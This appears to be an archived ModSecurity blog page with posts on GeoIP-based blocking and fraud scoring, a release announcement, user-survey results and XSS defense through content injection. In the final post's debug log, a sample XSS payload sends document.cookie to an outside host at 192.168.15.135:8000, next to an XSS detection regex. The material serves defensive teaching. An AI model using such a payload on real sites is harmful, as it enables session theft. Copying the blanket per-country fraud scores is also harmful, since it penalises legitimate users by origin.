ModSecurity Trustwave
This blog has moved! Please update your
bookmarks to http://blog.spiderlabs.com/modsecurity/.

ModSecurity Blog: ModSecurity

Detecting Malice with ModSecurity: GeoLocation Data

I would like to introduce a new blog series entitled - Detecting Malice with ModSecurity and will be used as an alternative to the Advanced Topic of the Week blog posts.  The the idea is to take the outstanding web application intrusion/fraud detection concepts introduced by my friend Robert "Rsnake" Hansen in his book Detecting Malice and provide real-life implementation examples using ModSecurity.  Rsnake has given me the green light to provide actual snippets of text/quotes directly from his book!  The format will be that Rsnake will setup the underlying issues and methods to identify bad behavior and then I will present some practical implementations using ModSecurity.

In this installment of Detecting Malice with ModSecurity, we will discuss how to use Geolocation data.

Geolocation section from Detecting Malice

IP addresses aren’t quite like street addresses, but they’re sometimes close. There are a number of projects that correlate, with varying success, IP address information to geographic locations. Some very large retailers help these databases by tying in IP address information collected along with address information given by their users during registration. Others tie in ISP information and geographic information with the IP address – a far less precise method in practice. Yet others still use ping time and hops to get extremely accurate measurement estimates of physical location.

The following information is typically available in GeoIP databases:

 Country

 Region (for some countries)

 City

 Organization (typically from the WHOIS database)

 ISP

 Connection speed

 Domain name

There are lots of reasons you may be interested in the physical location of your users. Advertisers are always on the lookout for ways to make their ads more interesting and meaningful (because that increases their click-through rate), and serving local ads is a good way to achieve that. Relevance is key, and that can be optimized by targeting the results to a user’s location.

Geographic information can also give you clues to the user’s disposition. If you are running a website in the United States and someone from another country is accessing your site, it may tell you quite a bit about the possible intentions of that user. That becomes more interesting if the site is disliked in principle by the population of other countries, or doesn’t do business with that country in particular. For example, many sites are totally blocked by the Chinese’s system of firewalls because the Chinese government believes certain words or thoughts are disruptive to the government’s goals. If someone from China IP space visits your site despite you being blocked by the Chinese government’s firewalls, there is a high likelihood the traffic is state sponsored.

Similarly, if you know that a large percentage of your fraud comes from one location in a particular high crime area of a certain city, it might be useful to know that a user is accessing your site from a cyber café in that same high crime area. Perhaps you can put a hold on that shipment until someone can call the user and verify the recipient. Also if you know that fraud tends to happen in certain types of socio- economic geographies, it could help you heuristically to determine the weighted score of that user. This sort of information may not be available to you in your logs, but could easily be mined through external sources of relevant crime information. Companies like ESRI heavily focus on mapping demographics, for instance.

In terms of history, it doesn’t hurt to look back into time and see if the IP address of the user has ever connected to you before. That information combined with their status with the website can be useful information. Another thing to consider is the type of connection used. If you know the IP space belongs to a DSL provider, it may point to a normal user. If it points to a small hosting provider, and in particular a host that is also a web server, it is highly likely that it has been compromised. Knowing if the IP belongs to a datacenter or a traditional broadband or modem IP range is useful information.

Knowing the physical location can help in other ways as well. If your website does no business in certain states or with certain countries due to legislative issues, it may be useful to know that someone is attempting to access your site from those states. This is often true with online casinos, which cannot do business with people in the United States where the practice is prohibited. Alerting the user of that fact can help reduce the potential legal exposure of doing business.

One concept utilizing physical location is called, “defense condition.” Normally, you allow traffic from everywhere, but if you believe that you're being attacked you can switch to yellow (the meaning of which is specific to the websites in question but, for example, can mean that your website blocks suspicious traffic coming from certain countries) or red (your websites block any traffic from certain countries). While this may seem like a good idea, in some cases this can actually be used against a website to get a company to block other legitimate users, so the use of this concept is cautioned against.

Utilities like MaxMind’s geoipaddress lookup can give you high level information about the location of most IP addresses for free. There are other products that can give you a lot more information about the specific location of the IP address in question, which can be extremely helpful if you are concerned about certain traffic origins.

$ geoiplookup.exe 157.86.173.251 GeoIP Country Edition: BR, Brazil

There has been quite a bit of research into this concept of bad geographic origins. For instance McAfee published a study citing Hong Kong (.hk), China (.cn) and the Philippines (.ph) as the three most likely top level domains to pose a security risk to their visitors. While these kinds of studies are interesting, it’s important not to simply cast blame on an entire country, but rather think about why this is the case – which can give you far more granular and useful information. It should be noted that this study talks about the danger that websites pose to internet surfers, not to websites in general, but there may be a number of ways in which your website can contact or include portions of other sites, so it still may be applicable.

Using GeoLocation Data in ModSecurity

ModSecurity supports using geolocation data through the integration with the free MaxMind GeoLite Country or GeoLite City databases. The first step is to download the database of your choice and put it somewhere on the local filesystem where ModSecurity can use it (for example in the same directory as the Core Rule Set).

Before you can use the GeoIP data, you first have to use the SecGeoLookupDb directive:

SecGeoLookupDb

Description: Defines the path to the geographical database file.

Syntax: SecGeoLookupDb /path/to/db

Example Usage: SecGeoLookupDb /usr/local/geo/data/GeoLiteCity.dat

Processing Phase: N/A

Scope: Any

Version: 2.5.0

Dependencies/Notes: Check out maxmind.com for free database files.

Once the SecGeoLookupDb directive is active, you then need to use a rule similar to the following which will pass the client's IP address (REMOTE_ADDR) to the @geoLookup operator:

SecGeoLookupDb /path/to/apache/conf/base_rules/GeoLiteCity.dat
SecRule REMOTE_ADDR "@geoLookup" "phase:1,t:none,pass,nolog"

When this rule is executed, the GEO variable collection data will be populated with the data extracted from the GeoIP DB.  Here is an example debug log section:

[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Recipe: Invoking rule 1009c47d8; [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "30"].
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][5] Rule 1009c47d8: SecRule "REMOTE_ADDR" "@geoLookup " "phase:1,t:none,nolog,pass"[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Transformation completed in 1 usec.
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Executing operator "geoLookup" with param "" against REMOTE_ADDR.
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] Target value: "119.192.231.134"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: Looking up "119.192.231.134".
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: Using address "119.192.231.134" (0x77c0e786).
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: rec="\x77\x31\x31\x00\x53\x65\x6f\x75\x6c\x00\x00\xb0\x32\x21\x2d\xd8\x2e\x00\x00\x00\x00\xa6\x45\x37\x00\x41\x75\x63\x6b\x6c\x61\x6e\x64\x00\x00\x25\xd7\x15\x13\x22\x36\x00\x00\x00\x00\xa6\x46\x35\x00\x4e"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: country="\x77"[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: region="\x31\x31\x00"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: city="\x53\x65\x6f\x75\x6c\x00"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: postal_code="\x00"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: latitude="\xb0\x32\x21"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: longitude="\x2d\xd8\x2e"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: dma/area="\x00\x00\x00"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: 119.192.231.134={country_code=KR, country_code3=KOR, country_name=Korea, Republic of, country_continent=AS, region=11, city=Seoul, postal_code=, latitude=37.566399, longitude=126.999702, dma_code=0, area_code=0}
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Operator completed in 85333 usec.
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Warning. Geo lookup for "119.192.231.134" succeeded. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "30"]

From this point on, you can use the geographic information from the GEO collection in your rules.

GeoLocation Usage Strategies

Allowed GEO Locations

If your clients only come from some specific geographic regions, then you could create a rule such as the following which would block clients who are not coming from US-based IP addresses:

SecRule GEO:COUNTRY_CODE3 "!@streq USA" "phase:1,t:none,log,deny,msg:'Client IP not from USA'"

DefCon Level - Static

The vast majority of organizations are global and would not want to implement this type of restriction for day-to-day operations.  This type of rule is useful, however, when the organization wants to initiate a more restrictive "Defense Condition Level" when under a direct attack.  You could make the previous rule conditional and only used when under an increased DefCon Level:  

SecAction "phase:1,t:none,nolog,pass,setvar:tx.defcon_level=1"
SecGeoLookupDb /path/to/apache/conf/base_rules/GeoLiteCity.dat
SecRule REMOTE_ADDR "@geoLookup" "phase:1,t:none,pass,nolog"
SecRule GEO:COUNTRY_CODE3 "!@streq USA" "chain,phase:1,t:none,log,deny,msg:'Client IP not from USA'"     
SecRule TX:DEFCON_LEVEL "@streq 1"

DefCon Level - Dynamic

While this example works, one of the big challenges in effectively using the concept of DefCon Levels with ModSecurity rules is the fact that you would have to initiate an Apache restart/reload in order for these DefCon Level variable data to be used.  This becomes a real scaling challenge if you are protecting a large server farm.  Under these types of scenarios, you can actually utilize the concept of dynamic rules which are activated based on web requests from authorized sources.  

Imagine you are running a SOC and you identify that your web sites are under attack and you want to initiate the new DefCon Level restriction rules to only allow requests from specific geographic regions.  Rather then needing to push out new Apache/ModSecurity configs to all web servers and initiate restarts, you could alternatively initiate a web request from an authorized web client system from within the SOC.  This client would have a specific IP address, User-Agent String and make a request to a specific URL with a specific parameter payload.  When this request is received by ModSecurity, the rules would then set a new DefCon level variable in a persistent Global collection.  When this happens, the GeoIP restriction rules would become active.  Once the threat has passed and the DefCon Level has been restored, a 2nd request can be sent out to all web servers to remove the DefCon Level variable and return the rules to their normal processing.  Again, the advantage of this approach is that it is a much faster method to toggle on/off a subset of rules vs having to update Apache/ModSecurity configs and initiate restarts.

Here are some example rules that implement this basic concept:

SecGeoLookupDb /path/to/apache/conf/base_rules/GeoLiteCity.dat
SecAction "phase:1.t:none,nolog,pass,setsid:global" 
SecRule REQUEST_FILENAME "/defcon_control" "chain,phase:1,t:none,log,msg:'DefCon Level 1 - GeoIP Restrictions Enabled.'"
    SecRule ARGS:DEFCON_LEVEL "@streq 1" "chain"
        SecRule REMOTE_ADDR "^192\.168\.1\.101$" "setvar:session.defcon_level=1" 
SecRule REQUEST_FILENAME "/defcon_control" "chain,phase:1,t:none,log,msg:'DefCon Level 1 - GeoIP Restrictions Disabled.'" 
    SecRule ARGS:DEFCON_LEVEL "5" "chain"
         SecRule REMOTE_ADDR "^192\.168\.1\.101$" "setvar:session.defcon_level=5" 
SecRule REMOTE_ADDR "@geoLookup" "phase:1,t:none,pass,nolog" 
SecRule GEO:COUNTRY_CODE3 "!@streq USA" "chain,phase:1,t:none,log,deny,msg:'Client IP not from USA'" 
    SecRule SESSION:DEFCON_LEVEL "@streq 1"

With these rules in place, the following request from source IP 192.168.1.101 would enable the DefCon Level GeoIP restriction rules:

GET /defcon_control?defcon_level=1 HTTP/1.1

Assigning Fraud/Risk Scores 

As Rsnake discussed, there are many different fraud detection resources that have assigned general risk scores to certain geographic regions.  For example, in the Clear Commerce whitepaper entitled Fraud Prevention Guide, they list the top 12 High Risk Countries:

  • Ukraine
  • Indonesia
  • Yugoslavia
  • Lithuania
  • Egypt
  • Romania
  • Bulgaria
  • Turkey
  • Russia
  • Pakistan
  • Malaysia
  • Israel

If you wanted to use this general information and assign an increased anomaly score to requests originating from these countries, you could use a rule similar to the following:

SecRule GEO:COUNTRY_CODE "@pm UA ID YU LT EG RO BG TR RU PK MY IL" "phase:1,t:none,log,pass,msg:'High Risk Fraud Location',setvar:tx.fraud_score=+10"

This rule does not block the request but it does increase the "TX:FRAUD_SCORE" variable data.  The TX data can be increased by other rules as well, such as those doing IP Reputation checks with @rbl, and then it can be evaluated at the end of the request phase when a decisions is made after correlating all detection data. 

Per-User GeoIP Data

Another Fraud related concept that can use GeoIP data is to track the Country/City data used by each user.  You can save this data in a per-user persistent collection and simply raise the fraud_score if the data changes.  This concept can be implemented either across multiple user sessions or for possible session hijacking detection during the course of one session.

Here are some example rules that will save the GEO Country Code data in a persistent User collection.  It will count the number of times that user has connected from that same country and once it is gone over the defined threshold (10), it will then issue alerts when the use logs in from a different country.

SecGeoLookupDb /path/to/apache/conf/base_rules/GeoLiteCity.dat 
SecAction "phase:1.t:none,nolog,pass,setuid:%{args.username}" SecRule REMOTE_ADDR "@geoLookup" "phase:1,t:none,nolog,pass" 
SecRule &USER:GEO_COUNTRY_CODE "@eq 0" "phase:1,t:none,nolog,pass,setvar:user.geo_country_code=%{geo.country_code},setvar:user.geo_country_code_counter=+1" 
SecRule GEO:COUNTRY_CODE "@streq %{user.geo_country_code}" "phase:1,t:none,nolog,pass,setvar:user.geo_country_code_counter=+1" 
SecRule USER:GEO_COUNTRY_CODE_COUNTER "@gt 10" "chain,phase:1,t:none,log,pass,msg:'Geo Country Code Change for User.',logdata:'Username: %{userid}, Expected Country Code: %{user.geo_country_code}, Current Country Code: %{geo.country_code}'"
    SecRule GEO:COUNTRY_CODE "!@streq %{user.geo_country_code}" "setvar:tx.fraud_score=+10"

The final example shows how you can identify if the GEO Country Code data changes during the course of a Session (using JSESSIONID as the example).  The key is to save the GEO:COUNTRY_CODE data when the application issues a Set-Cookie SessionID and then validate it on subsequent requests.

SecGeoLookupDb /path/to/apache/conf/base_rules/GeoLiteCity.dat
SecRule REMOTE_ADDR "@geoLookup" "phase:1,t:none,nolog,pass"
SecRule REQUEST_COOKIES:JSESSIONID ".*" "chain,phase:1,t:none,pass,nolog,auditlog,msg:'Geo Country Code Change During Session.',setsid:%{request_cookies.jsessionid}"
    SecRule GEO:COUNTRY_CODE "!@streq %{session.geo_country_code}"
SecRule RESPONSE_HEADERS:/Set-Cookie2?/ "(?:jsessionid=([^\s]+)\;\s?)" "phase:3,t:none,pass,nolog,capture,setsid:%{TX.2},setvar:session.geo_country_code=%{geo.country_code}"

Hopefully the data presented in this blog post will help users to be able to better utilize GeoIP data.

ModSecurity Life cycle

We are proud to announce the new release 2.5.13 is under development and will be released next month! it will be the last release of 2.5 series and will fix some important issues reported by the community.
Also we decided to release two new important features for the community:

    * New setvar Lua API

        The new hook can be used to push back data from a Lua script to ModSecurity.As an example let's suppose you wanna change all single quotes (') present into request arguments by quotes (")

        /etc/modsecurity/example_setvar.lua:

        require('m')

        function main()
            -- Start Converter code
                -- Retrieve all parameters
                    vars = m.getvars("ARGS", "none", "urlDecodeUni");
                    -- Examine all variables
                    for i = 1, #vars do
                      value = (vars[i].value);
                            m.log(4, "value is: " .. value .. ".");
                       tmp_value = string.gsub(value, "\'", "\"");
                                m.log(4, "tmp_value is: " .. tmp_value .. ".");

                        m.setvar("tx.QuoteDecoded",tmp_value);
                        return ("Normalized Payload: " .. vars[i].name .. " = " .. tmp_value .. "");
            end
                -- Nothing wrong found.
            return nil;
        end

        So, the new QuoteDecoded variable can be accessed by getvar Lua hooks or/and by a SecRule and be used in another rule and/or scripts.

        ie: SecRule TX:QuoteDecoded

    * New base64 transformation function base64DecodeExt

        Some months ago a researcher called Stefano Di Paola posted in his blog a method that can be used to bypass WAFs protections by sending malicious data encoded with base64 plus special characters.
        Most applications will recognize this malicious traffic as an invalid base64, but some others (ie. based on PHP) will skip the invalid characters and will decode the data. We know, analyzing the user survey, that most ModSecurity users are protecting PHP applications, for this reason we decided to create a new transformation function called base64DecodeExt which will decode base64 data skipping special characters.

We are going to update our documentation to provide more information and examples about advanced ModSecurity features (GeoIP, Lua API …).

After the last 2.5 release we are going to start the new 2.6 series, which already has a big list of features and issues to solve.  I'm going to publish the new 2.6 roadmap soon here in this blog.
Thinking more in the future, for medium (2.7, 2.8 and 2.9 series) and long term (3.0) we are looking for interesting features like:

    * More sophisticated DDoS detection engine
    * Positive security model (Learning)
    * Expand Lua API
    * Cuda Support
    * Provide an API to de-attach Modsecurity from Apache and plug in other
    applications (IDS/IPS, Firewalls etc)
    * Unicode Mappings
    * More transformation functions
    … And a lot of more

Also In a near future i'm going to write a new post about current ModSecurity source code organization and code style. So, anybody in the community who want to contribute will be well accepted!

Thanks for your attention

ModSecurity User Survey Results Released

As a result of the acquisition of Breach Security (and thus ModSecurity) by Trustwave, we thought that it was a good time to run another User Survey to get a better understanding of how the community is using ModSecurity and, most importantly, how we can make it better.  We ran a survey during the month of September 2010.  Thanks to everyone who took the time to respond as it will help to steer the development of ModSecurity.

We plan to run these official user surveys once a year, however don't forget that you can always voice your concerns and bring up issues on the ModSecurity mail-list and also in the Jira ticketing system.  Speaking of Jira, I wanted to remind everyone that you can always log into Jira to see the latest ticket/roadmap items.  And taking this one step further, you can actually VOTE on an item which will help us to prioritize which issues get fixed first and also which feature requests will make it into different versions.

ModSecurity User Survey 2010 Results

You can review the complete stats here.  For this blog post, however, I wanted to highlight the most interesting questions/results and provide a bit of commentary.

 ChartExport1
Analysis:

As you can see, ModSecurity is being used widely across vertical markets.  It is interesting to see that the top current users are now Consultants.  I attribute this mostly to the emerging importance of using ModSecurity as a Virtual Patching tool to mitigate identified vulnerabilities.

ChartExport2

Analysis:

As mentioned in the previous section, virtual patching is probably the most popular use-case scenario for initially deploying ModSecurity (or any WAF for that matter).  Some other interesting benefits are blocking technical/sensitive data leakages and also increased HTTP transactional logging.  Speaking of the latter, I can attest to the effectiveness of promoting ModSecurity's Audit Engine capabilities to help with operational trouble-shooting.  This is how I initially pitched deploying ModSecurity to the web server admins back in the day.  By showing them complete HTTP transactions, they were able to more quickly fix issues.

 

ChartExport3

Analysis:

I am hoping that the @modsecurity Twitter account will pick up some more followers.  :)

 

ChartExport4

Analysis:

The responses to this question were pretty much as expected.  There any different ways to try and address web application security issues and organizations should use them all.  The combination of conducting static/dynamic web application testing and then implementing custom virtual patches is gaining momentum as there seem to be more and more scenarios where identified vulns can't be fixed in the code at all or it will take a significant period of time.  In the former case, a virtual patch is about the only option, and in the latter case, a virtual patch can at least provide some level of mitigation until the source code level fix is implemented.

 

ChartExport5

Analysis:

There are two main rationales for wanting custom rule sets built for a specific piece of software -

  1. To reduce false positives
  2. To reduce false negatives

These are constant battles with "generic" signatures as they do not know of exact attack vector locations.  Application rule set packages will need to either have a listing of known vuln signatures or a positive security profile created.  In either case, it will require on-going monitoring of updates to public software to identify new vulns and also create new positive security profiles when new functionality is added.  Trustwave SpiderLabs is researching the feasibility of creating a real-time rules feed for newly released webappsec vulns in public software.  We are are also looking at adding in learning capabilities to ModSecurity by using new Lua scripts for profiling web apps.

ChartExport6

Analysis:

The good news is that we are working on plans to implement just about all of these features/capabilities into ModSecurity :)  Keep an eye out for future updates.

ChartExport7

Analysis:

As you can see, there is a pretty wide range of the number of sites being protected.  Many users use ModSecurity just to protect one local web site while there are others who use ModSecurity to protect entire server farms consisting of hundreds of systems.  That is the beauty of the embedded deployment model - scale.

 

ChartExport8

Analysis:

I believe that there is a misconception that ModSecurity can only be used in an open-source/LAMP type of deployment.  As evidenced by the responses to this question, ModSecurity is platform/application language agnostic.  It will protect any type of web application including commercial/custom coded applications that are used for ecommerce, banking, etc...

 

ChartExport9

Analysis:

This question also proves the point raised in the previous section and that is that if you have an Apache reverse proxy with ModSecurity, you can front-end any back-end web applications with WAF technology.  I know of many users who use this setup to protect different back-end apps including IIS/ASP.Net types of technology.

 

ChartExport10

Analysis:

Woohoo!  I am glad to see that the vast majority of users are using the newest ModSecurity versions.  The main hurdle to upgrading is if the currently deployed Apache version is the 1.3 branch then they can't use the newer code.

 

ChartExport11

Analysis:

Pretty evenly split between embedded mode vs. proxy mode.

 

ChartExport12

Analysis:

Ideally, all users would be using the OWASP CRS (with local exceptions) along with their own custom rules for identified virtual patches.  I would venture to guess that the main reason why the people who are *only* using custom rules is that they ran into false positive issues with the CRS.  Making exceptions easier is a major goal of future ModSecurity/CRS releases.

ChartExport13

Analysis:

The total number of rules running may become important if you start to experience performance issues such as higher latency of transactions or spikes in CPU/RAM.  The total number of rules isn't usually the biggest concern but rather if you have any specific rules that are not performing well.

 

ChartExport14

Analysis:

This is an interesting question when you consider how much time the average user has to review ModSecurity alerts/audit log data.  Keep in mind that this number is usually impacted by both untuned rules and by the amount of attack traffic you receive.  Even if you tune your rules, however, you may still get a rather large number of events if your site is actively being probed/attacked.  If you want high fidelity alerts (meaning ones in which you may need to take some form of incident response action upon) then you will have to spend a bit of time up front to tune your rules.

 

ChartExport15

Analysis:

Managing ModSecurity audit events is a critical issue from a situational awareness perspective.  The two best options currently are:

  1. Christian Bockermann's AuditConsole - it has really taken the concept created by the original ModSecurity community console and taken it to new heights.  It is highly recommended as it was built from the ground up to handle ModSecurity audit log data.
  2. SIEM Integration - it is rather easy to reconfigure your Apache host to send its error_log data (which will include the short ModSecurity message) onto a remote SIEM host via syslog.  Your mileage will vary though as to how well the SIEM is able to parse, search and report on ModSecurity messages.

ChartExport16

Analysis:

This task is certainly tricky...  It is often tough for the average user to confirm if a ModSecurity event is accurate or may need some level of tuning to handle authorized functionality.  When I work with commercial customers who are implementing WAFs, I often refer them to the excellent OWASP Best Practices: Use of Web Application Firewall document.  Specifically, organizations should make sure that they have the proper staff to administer the WAF.  In this case, we are referring to the WAF Application Manager role:

8.3.2 WAF application manager (per application)

Tasks:

  • Implementation and maintainance of the WAF configuration specific to the application
  • Monitoring and analysis of the log files (at least on the second level)
  • Contact for error messages, in particular false positives analysis in collaboration with the application manager
  • Close cooperation with the WAF application managers and platform managers
  • Test of WAF functionalities for the application, especially when deploying new versions of the application

Knowledge:

  • In-depth knowledge of the WAF configuration in relation to application-specific security mechanism
  • Very good knowledge of the behaviour of the application, in particular input, output, uploads, downloads, character sets, etc.

ChartExport17

Analysis:

In general, a false positive rate of >10% isn't bad.  The main issue is when you fact in any blocking methods being used.  If a rule is incorrectly disrupting non-malicious user activities then it can become a big problem.  Interestingly, anyone who actually answered this question is more then likely in a smaller subset of ModSecurity users who actually do spend time reviewing their logs!  People who don't review their logs can't answer this question.

 

ChartExport18

Analysis:

The people who answered the they are in DetectionOnly mode more than likely don't have enough time to properly tune their rules to their application environment which means they have a higher degree of false positives.  The users who answered that they are in a Blocking mode have been able to tune and therefore have a higher comfort level with taking action.

 

ChartExport19

Analysis:

Let me ask a question - an attacker figures out some sort of evasion for your current signatures, how are you ever going to know what happened?  Or look at it from this perspective - say that you identify someone attacking your site and then you initiate incident response and the CISO asks you to provide logs of *everything* that user did.  Will you be able to do this?  Unfortunately, most users run ModSecurity in an "Alert-centric" mode in which audit logs are only created when rules match.  This is a shame as it is missing one of its greatest strengths - HTTP Auditing.  If you want to do session reconstruction, you MUST audit log all transactions.  Now, this being said, you can still choose to not log requests for static content (such as images, etc...) and this will drastically cut down on the number of transactions being logged.

ChartExport20

Analysis:

While there are use-cases for utilizing different disruptive actions, I am becoming more and more of a fan simply emulating how the application responds currently to similar threats.  Does it do a redirect back to the homepage or throw a 403 alerts?  Whatever it is, simply mimic that response so that it is not as easy for an advanced attacker to enumerate that fact that you are running a WAF. 

 

ChartExport21

Analysis:

Hopefully the new "Advanced Topic of the Week" blogpost series is helping to shed some light on these features and capabilities.

 

 

ChartExport22

Analysis:

As I mentioned in the previous section, we are trying to provide more data about how to actually use these advanced ModSecurity features.

 

 

 

 

Advanced Topic of the Week: XSS Defense via Content Injection

Introduction

In last week's post on Identifying Improper Output Handling, we showed a method to use ModSecurity to identify if client request data is echoed back in html responses thus identifying a potential XSS vector.  While this can prove useful to a large chunk of XSS flaws, it is not foolproof as there are many scenarios where the inbound data is altered slightly by the application and thus turns a benign payload into something executable (see the Giorgio Maone's Lost in Translation post for a perfect example with ASP classic).  In this situation, the example rules to identify improper output handling wouldn't have matched...

There is a lot a WAF can do with outbound traffic to help protect web applications from information leakages. There has not been as much progress made, however, in analyzing, manipulating or adding data to outbound dynamic code being sent from the web application to the clients. This is the concept that I want to discuss today.

Concept

Previous versions of ModSecurity did not alter any of the actual transactional data (either inbound or outbound). ModSecurity would make copies of the data, place it into memory and then apply all data transformations, etc... and it would then decide what disruptive action to take if there was a rule match on the data. While this process works well in defense of the vast majority of web application security issues, there are still certain situations where it is limited.

Client-side security issues are difficult to address in this architecture since the WAF has no visibility on the client (inside the DOM of the browser). With the new Content Injection capabilities in ModSecurity, we have added two actions which will allow ModSecurity rule writers to either "prepend" or "append" any text data to text-based (html) outbound data content.

The really useful idea is to inject a JavaScript fragment at the top of all outgoing HTML pages. The advantage of using ModSecurity's Content Injection approach is that you can be assured that your code runs prior to any other user-supplied code that is leveraging an XSS flaw.  For example you could detect JavaScript code in places where it is not expected, look for weird HTML/JavaScript code indicative of attacks, remove external links, and so on. While full support for DOM manipulation on the server is not available yet, ModSecurity does support content injection, where you can inject stuff at the beginning or at the end of the page. The original idea behind this this feature was to make DOM XSS detection possible within the client browser. The idea is to inject a chunk of JavaScript to analyse the request URI from inside the browser to detect attacks.

Some other use-case ideas for Injecting code by using a WAF:

  • Ensure complex, dynamic behaviour independent of the application, including obfuscation & polymorphism.

  • Continues updates and potentially even an “in the cloud” service.

  • Provide protection for non-HTML pages by wrapping them in HTML (redirect, refresh, frames).

You could also use it to help secure session management:

  • Avoid the evasion options of Cookies & HTTP authentication (Amit Klein, “Path Insecurity”)

  • Perform implicit authentication to use to prevent session hijacking.

  • One time tokens “super” digest authentication.

Intercept JavaScript Events to perform:

  • Client side input validation (Amit Klein, “DOM Based Cross Site Scripting or XSS of the Third Kind”).

  • DOM Hardening and Anomaly Detection.

  • Rules/Signature based negative security.

Content Injection Directives and Variable Usage

Description: Enables content injection using actions append and prepend.

Syntax: SecContentInjection (On|Off)

Example Usage: SecContentInjection On

Version: 2.5.0

Description: Appends text given as parameter to the end of response body. For this action to work content injection must be enabled by setting SecContentInjection to On. Also make sure you check the content type of the response before you make changes to it (e.g. you don't want to inject stuff into images).

Action Group: Non-Disruptive

Processing Phases: 3 and 4.

Example:

SecRule RESPONSE_CONTENT_TYPE "^text/html" "nolog,pass,append:'<hr>Footer'"

Description: Prepends text given as parameter to the response body. For this action to work content injection must be enabled by setting SecContentInjection to On. Also make sure you check the content type of the response before you make changes to it (e.g. you don't want to inject stuff into images).

Action Group: Non-Disruptive

Processing Phases: 3 and 4.

Example:

SecRule RESPONSE_CONTENT_TYPE ^text/html "phase:3,nolog,pass,prepend:'Header<br>'"

Testing Injection Rules

Let's run a quick test with the following ruleset:

SecContentInjection On
SecDefaultAction "log,deny,phase:2,status:500,t:none,setvar:tx.alert=1"
SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:'<script>alert(\"Why Are You Trying To Hack My Site?\")</script>'"
SecRule RESPONSE_CONTENT_TYPE "^text/html"

This rule set enables the Content Injection capabilities an then sets a default action. The important point to see on the SecDefaultAction line is the "setvar:tx.alert=1" action. What this will do is set a transactional variable if any of the rules trigger a match. The last two lines of the configuration are a chained rule set that runs in phase:3. The first part of the chain will simply look for the "alert" tx variable. If it is set, that means that the client's request has triggered one of the ModSecurity rules and is thus some form of attack. The second part of the rule then makes sure that the response data is of the correct content type (text/html). If so, this rule will then insert some javascript that will issue an alert pop-up box asking them why they are trying to hack the web site :)

Let's take a look at the modsec_debug.log file to see exactly how this new operator is functioning:

# cat modsec_debug.log | sed "s/^.*\[.\] //g" |less
Initialising transaction (txid CP2J2cCoD4QAAF2eAj8AAAAA).
Adding request argument (QUERY_STRING): name "param", value "<script>document.write('<img src=\"http:// 192.168.15.135:8000/' document.cookie '\"')</script>"
Transaction context created (dcfg 95da848).
--CUT--
Starting phase REQUEST_BODY.
This phase consists of 85 rule(s).
Recipe: Invoking rule 9654a98; [file "/usr/local/apache/conf/rules/modsecurity_crs_15_customrules.conf" ] [line "15"] [id "1"].
Rule 9654a98: SecRule "ARGS" "(?:\\b(?:(?:type\\b\\W*?\\b(?:text\\b\\W*?\\b(?:j(?:ava)?|ecma|vb)|applic ation\\b\\W*?\\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|parent)folder)\\ b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s(?:elec|ubmi)t |(?:un)?load|dragdrop|resize|focus|blur)\\b\\W*?=|abort\\b)|(?:l(?:owsrc\\b\\W*?\\b(?:(?:java|vb)script |shell)|ivescript)|(?:href|url)\\b\\W*?\\b(?:(?:java|vb)script|shell)|background-image|mocha):|s(?:(?:t yle\\b\\W*=.*\\bexpression\\b\\W*|ettimeout\\b\\W*?)\\(|rc\\b\\W*?\\b(?:(?:java|vb)script|shell|http):) |a(?:ctivexobject\\b|lert\\b\\W*?\\())|<(?:(?:body\\b.*?\\b(?:backgroun|onloa)d|input\\b.*?\\btype\\b\\ W*?\\bimage|script|meta)\\b|!\\[cdata\\[)|(?:\\.(?:(?:execscrip|addimpor)t|(?:fromcharcod|cooki)e|inner html)|\\@import)\\b)" "capture,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'Cr oss-site Scripting (XSS) Attack. Matched signature <%{TX.0}>',id:'1',severity:'2'"
Expanded "ARGS" to "ARGS:param".
CACHE: Enabled
CACHE: Fetching ARGS:param 1;htmlEntityDecode
CACHE: Caching 1;htmlEntityDecode="<script>document.write('<img src="http://192.168.15.135:8000/' docum ent.cookie '"')</script>"
T (0) htmlEntityDecode: "<script>document.write('<img src="http://192.168.15.135:8000/' document.cookie '"')</script>"
CACHE: Fetching ARGS:param 2;htmlEntityDecode,lowercase
CACHE: Caching 2;htmlEntityDecode,lowercase="<script>document.write('<img src="http://192.168.15.135:80 00/' document.cookie '"')</script>"
T (0) lowercase: "<script>document.write('<img src="http://192.168.15.135:8000/' document.cookie '"')</ script>"
